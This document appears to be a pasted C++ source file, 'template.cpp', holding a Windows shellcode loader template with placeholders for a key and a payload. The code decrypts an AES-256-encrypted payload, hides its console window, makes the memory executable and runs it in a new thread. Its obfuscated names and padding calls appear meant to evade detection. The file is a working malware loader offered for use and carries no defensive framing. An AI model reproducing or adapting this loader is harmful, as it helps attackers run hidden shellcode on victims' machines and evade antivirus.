template.cpp 1.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778
  1. #include <windows.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <string.h>
  5. #include <wincrypt.h>
  6. #pragma comment (lib, "crypt32.lib")
  7. #pragma comment (lib, "advapi32")
  8. #include <psapi.h>
  9. #include <string.h>
  10. #include <tlhelp32.h>
  11. int Random1(char * different, unsigned int different_len, char * Random2, size_t keylen) {
  12. HCRYPTPROV hProv;
  13. HCRYPTHASH hHash;
  14. HCRYPTKEY hKey;
  15. if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
  16. return -1;
  17. }
  18. if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
  19. return -1;
  20. }
  21. if (!CryptHashData(hHash, (BYTE*)Random2, (DWORD)keylen, 0)){
  22. return -1;
  23. }
  24. if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
  25. return -1;
  26. }
  27. if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, different, &different_len)){
  28. return -1;
  29. }
  30. CryptReleaseContext(hProv, 0);
  31. CryptDestroyHash(hHash);
  32. CryptDestroyKey(hKey);
  33. return 0;
  34. }
  35. int main(void) {
  36. void * exec_mem;
  37. BOOL rv;
  38. HANDLE th;
  39. DWORD oldprotect = 0;
  40. char Random2[] = KEYVALUE
  41. unsigned char Random3[] = PAYVAL
  42. unsigned int calc_len = sizeof(Random3);
  43. int pid = 0;
  44. HANDLE hProc = NULL;
  45. strrev(Random3);
  46. FreeConsole();
  47. strrev(Random3);
  48. exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  49. Random1((char *) Random3, calc_len, Random2, sizeof(Random2));
  50. RtlMoveMemory(exec_mem, Random3, calc_len);
  51. rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);
  52. if ( rv != 0 ) {
  53. th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
  54. WaitForSingleObject(th, -1);
  55. }
  56. return 0;
  57. }